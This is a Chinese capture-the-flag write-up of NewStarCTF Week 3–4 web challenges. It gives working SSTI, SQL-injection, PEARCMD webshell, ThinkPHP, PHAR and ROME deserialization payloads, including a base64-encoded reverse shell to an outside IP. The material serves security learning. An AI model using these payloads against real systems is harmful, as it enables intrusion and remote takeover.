NewStarCTF-Week3&4的WEB题目详解
字数 1127 2025-08-06 18:07:49

NewStarCTF Week3&4 WEB题目详解

Week3 WEB题目

BabySSTI_One

题目特点

  • 存在SSTI (Server-Side Template Injection)漏洞
  • 过滤了class、subclass、bases等关键词

绕过方法

  1. 字符串拼接绕过:['__subc'+'lasses__']
  2. 使用attr过滤器:|attr

Payload构造过程

{{1['__cl'+'ass__']}}
{{1['__in'+'it__']}}
{{v1nd|attr("__in"+"it__")|attr("__glo"+"bals__")}}
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)}}
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)|attr('__subcla'+'sses__')()}}
# 117->os._wrap_close
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)|attr('__subcla'+'sses__')()|attr("__getitem__")(117)}}
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)|attr('__subcla'+'sses__')()|attr("__getitem__")(117)|attr("__in"+"it__")|attr("__globals__")}}
{{()|attr("__cla"+"ss__")|attr("__ba"+"ses__")|attr("__getitem__")(0)|attr('__subcla'+'sses__')()|attr("__getitem__")(117)|attr("__in"+"it__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('tac /f*').read()")}}

multiSQL

题目特点

  • 存在SQL注入漏洞
  • 提示堆叠注入
  • 需要验证425分以上
  • 过滤了select、update、insert等关键词

利用过程

  1. 使用show命令绕过select过滤:

    -1';show databases;%23
    -1';show tables;%23
    -1';show columns from score;%23
    
  2. 使用replace into插入高分数据:

    -1';replace into score (`username`,`listen`,`read`,`write`) values ('kkk',600,600,600);%23
    
  3. 删除原数据:

    -1';delete from score where listen=11;%23
    

IncludeTwo

漏洞源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
    include($_GET['file'].".php");
}else{
    die("Hacker!");
}

利用方法:PEARCMD本地文件包含

Payload

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/tmp/v1nd.php
/index.php?file=/tmp/v1nd

POST数据

1=system('ls /');

Maybe You Have To think More

题目特点

  • ThinkPHP 5.1.41框架
  • 存在反序列化漏洞点

利用过程

  1. 构造反序列化链

  2. 生成Payload:

    TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJ2MW5kIjthOjE6e3M6NToiaGVsbG8iO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJmZW5nIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjg7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO319fX19
    
  3. 修改cookie中的tp_user为上述值

  4. GET传参v1nd执行命令

Week4 WEB题目

So Baby RCE

漏洞源码

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}

绕过方法

  1. 使用${}表达式绕过
  2. 特殊字符表示:
    • /${PWD::${#SHLVL}}
    • a${USER:~A}
    • t${USER:~${#SHLVL}:${#SHLVL}}

Payload

cd${IFS}..&&cd${IFS}..&&cd${IFS}..&&od${IFS}-a${IFS}${PWD}fff??lllaaaaggggg

BabySSTI_Two

绕过方法

  1. 十六进制编码绕过:

    {{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[166]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x0\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls%09/')['\x72\x65\x61\x64']()}}
    
  2. 大写转小写绕过:

    {{[abc]['__CLASS__'|lower]['__MRO__'|lower][-1]['__SUBCLASSES__'|lower]()[117]['__INIT__'|lower]['__GLOBALS__'|lower]['__BUILTINS__'|lower]['__IMPORT__'|lower]('os')['POPEN'|lower]('ls')['read']()}}
    

UnserializeThree

漏洞源码

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}
file_exists($_GET['file']);

利用方法

  1. 使用\r绕过注释符#
  2. 构造PHAR反序列化

POC

<?php
class Evil{
    public $cmd="\reval(\$_POST[1]);";
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Evil();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

利用步骤

  1. 生成phar文件并改为png后缀上传
  2. 通过file_exists触发反序列化:
    class.php?file=phar://test.phar
    

又一个SQL

题目特点

  • 布尔盲注
  • 过滤了空格和/**/
  • 使用/***/绕过空格过滤

盲注脚本

import requests
import string
import time

att=string.digits+string.ascii_letters+'}{-$_.^,'
flag=''
url='http://34f02f7b-f372-4385-b30d-5d637442481b.node4.buuoj.cn:81/comments.php?name='

for i in range(1,50):
    for a in att:
        payload='0/***/or/***/(substr((select/***/text/***/from/***/`wfy_comments`/***/where/***/id=100),{},1)/***/like/***/binary/***/"{}")'.format(i,a)
        res=requests.get(url=url+payload)
        time.sleep(0.1)
        if "好耶!你有这条来自条留言" in res.text:
            flag+=a
            print(flag)
            break
print(flag)

Rome

利用方法

  1. 使用ysoserial生成ROME链Payload:

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjQ3LjIyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" | base64 -w 0
    
  2. 手动构造ROME反序列化链:

    Templates calc = (Templates) createTemplateImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjQ3LjIyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}");
    ToStringBean toStringBean = new ToStringBean(Templates.class, calc);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
    ObjectBean v1nd = new ObjectBean(String.class, "v1nd");
    HashMap hashMap = new HashMap();
    hashMap.put(v1nd,"v1nd");
    setFieldValue(v1nd,"_equalsBean",equalsBean);
    

反序列化链

HashMap#readObject
  ObjectBean#hashCode
    EqualsBean#beanHashCode
      ToStringBean#toString
        TemplatesImpl#getOutputProperties

总结

NewStarCTF第三四周的WEB题目难度较高,涵盖了多种漏洞类型和绕过技巧:

  1. SSTI绕过:字符串拼接、十六进制编码、大小写转换
  2. SQL注入:堆叠注入、关键词绕过、布尔盲注
  3. 文件包含:PEARCMD利用
  4. 反序列化:ThinkPHP、PHAR、ROME链
  5. RCE绕过:特殊字符替换、Linux环境变量

这些题目需要扎实的基础知识和灵活的绕过思维,是提升WEB安全技能的优秀练习材料。

NewStarCTF Week3&4 WEB题目详解 Week3 WEB题目 BabySSTI_ One 题目特点 : 存在SSTI (Server-Side Template Injection)漏洞 过滤了class、subclass、bases等关键词 绕过方法 : 字符串拼接绕过: ['__subc'+'lasses__'] 使用 attr 过滤器: |attr Payload构造过程 : multiSQL 题目特点 : 存在SQL注入漏洞 提示堆叠注入 需要验证425分以上 过滤了select、update、insert等关键词 利用过程 : 使用 show 命令绕过select过滤: 使用 replace into 插入高分数据: 删除原数据: IncludeTwo 漏洞源码 : 利用方法 :PEARCMD本地文件包含 Payload : POST数据 : Maybe You Have To think More 题目特点 : ThinkPHP 5.1.41框架 存在反序列化漏洞点 利用过程 : 构造反序列化链 生成Payload: 修改cookie中的 tp_user 为上述值 GET传参 v1nd 执行命令 Week4 WEB题目 So Baby RCE 漏洞源码 : 绕过方法 : 使用 ${} 表达式绕过 特殊字符表示: / : ${PWD::${#SHLVL}} a : ${USER:~A} t : ${USER:~${#SHLVL}:${#SHLVL}} Payload : BabySSTI_ Two 绕过方法 : 十六进制编码绕过: 大写转小写绕过: UnserializeThree 漏洞源码 : 利用方法 : 使用 \r 绕过注释符 # 构造PHAR反序列化 POC : 利用步骤 : 生成phar文件并改为png后缀上传 通过 file_exists 触发反序列化: 又一个SQL 题目特点 : 布尔盲注 过滤了空格和 /**/ 使用 /***/ 绕过空格过滤 盲注脚本 : Rome 利用方法 : 使用ysoserial生成ROME链Payload: 手动构造ROME反序列化链: 反序列化链 : 总结 NewStarCTF第三四周的WEB题目难度较高,涵盖了多种漏洞类型和绕过技巧: SSTI绕过 :字符串拼接、十六进制编码、大小写转换 SQL注入 :堆叠注入、关键词绕过、布尔盲注 文件包含 :PEARCMD利用 反序列化 :ThinkPHP、PHAR、ROME链 RCE绕过 :特殊字符替换、Linux环境变量 这些题目需要扎实的基础知识和灵活的绕过思维,是提升WEB安全技能的优秀练习材料。